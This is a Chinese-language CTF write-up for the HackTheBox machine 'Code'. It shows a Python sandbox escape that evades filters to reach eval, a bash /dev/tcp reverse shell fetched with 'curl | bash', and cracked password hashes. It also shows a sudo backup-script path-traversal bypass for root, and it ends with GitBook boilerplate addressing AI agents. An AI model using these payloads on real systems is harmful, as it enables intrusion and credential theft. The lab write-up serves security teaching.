> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Code HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**技能：**

* SSTI 利用 – Python 代码编辑器
* SQLite 数据提取与哈希破解
* 通过路径操纵绕过 backy.sh（提权）
* 从根目录提取 Tar 归档
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/3280fb71bf9595b1c0bb1f91a2e73c4e637e22e0" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/4bde0288c168468e4da9badc3868fdef360b8fa5" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/c8ef5ad4fbe4a367972ba26e7afaa92317c19be0" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（22.5000）

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/ce8ee677e9eddf77d4c64caee15243dedaab1390" alt=""><figcaption></figcaption></figure>

## SSTI 利用 – Python 代码编辑器

<figure><img src="/files/27ca6779ede31ce1b61f080bac6cb50330008c4c" alt=""><figcaption></figcaption></figure>

在 5000 端口上发现了一个 Python 代码编辑器。在常规注入尝试（`import os`, `exec`等）时，会产生错误。

<figure><img src="/files/58d69021e7628c5fe76623a07cd91c3b13e83da7" alt=""><figcaption></figcaption></figure>

为了绕过这些限制，我们使用一个循环来识别一个允许访问内置函数（`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> 这个 Python 循环尝试通过搜索 Python 基对象（`object`）的子类，寻找一个通过其`__globals__`暴露全局环境（ `__init__` 方法。每次迭代都会通过重新构造其名称来获取内置函数字典（`__builtins__`）以绕过简单过滤。如果该对象包含 `eval` 函数，则打印该类的索引。此技术通常用于调用诸如 `eval`, `exec`，以及 `打开`.

<figure><img src="/files/196d79557dffd19ed17f7748698125ae3cc239ee" alt=""><figcaption></figcaption></figure>

### 读 `/etc/passwd`

一旦包含 `eval` 的对象被识别后，我们执行：

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

这会显示两个用户： `martin` 和 `生产`.

<figure><img src="/files/19502f4811cf1a891659bb9dc3b5da8b031f3df9" alt=""><figcaption></figcaption></figure>

### **反向 Shell**

#### 在 443 端口监听：

```bash
nc -nvlp 443
```

#### 反向 Shell 脚本：

创建一个 `index.html` 包含以下内容的文件：

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

启动 Web 服务器：

```bash
python3 -m http.server 80
```

载荷注入：

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/898d9a32ae822485722c48679ce710b33a364fd4" alt=""><figcaption></figcaption></figure>

#### 终端处理：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/4b780bc54dfed2977cb08c2d12cf97cdf1577e7b" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 使用用户的 SSH 访问 `martin`

<figure><img src="/files/58fad5f6e664d902a1a781518966b87e1241062c" alt=""><figcaption></figcaption></figure>

我们发现一个 `database.db` 文件。通过 SQLite 检查揭示了两个用户（`开发`, `martin`）及其密码哈希。

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>哈希</th></tr></thead><tbody><tr><td>开发</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/cd7fa4184d830a807c846f18ecad1da7478cc55e" alt=""><figcaption></figcaption></figure>

使用以下方法破解密码 [CrackStation](https://crackstation.net/)，然后连接：

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>哈希</th></tr></thead><tbody><tr><td>开发</td><td>开发</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/5feb0fa3428218d05b5df897bc6e3e997eed2e1d" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/133b97860085115c33f0f541ce8f6e9cd61fec3c" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh（脚本）

我们得知 `martin` 可以运行 `/usr/bin/backy.sh` 以 root 身份。

```bash
sudo -l
```

<figure><img src="/files/7b245250311d9c5ad155afbdde6687dcad70618a" alt=""><figcaption></figcaption></figure>

**该脚本检查：**

* 给定的 JSON 文件是否存在，
* 其中的每个路径都在 `directories_to_archive` 位于 `/var/` 或 `/home/`,
* 移除 `../` 序列通过 `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "用法：$0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "错误：未找到文件 '$json_file'。"
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "错误：$dir 不被允许。仅允许 /var/ 和 /home/ 下的目录。"
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**绕过：**

我们配置一个 `pwned.json` 文件：

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

执行：

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/2af24c5781454ad88bc694311557f3764090f44b" alt=""><figcaption></figcaption></figure>

解压：

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### root.txt flag :)

<figure><img src="/files/00dbf03e408e0c458968155fce98ea892522d3ed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ca6c51a19d9580805003aa0504f81f83f8db2ac4" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
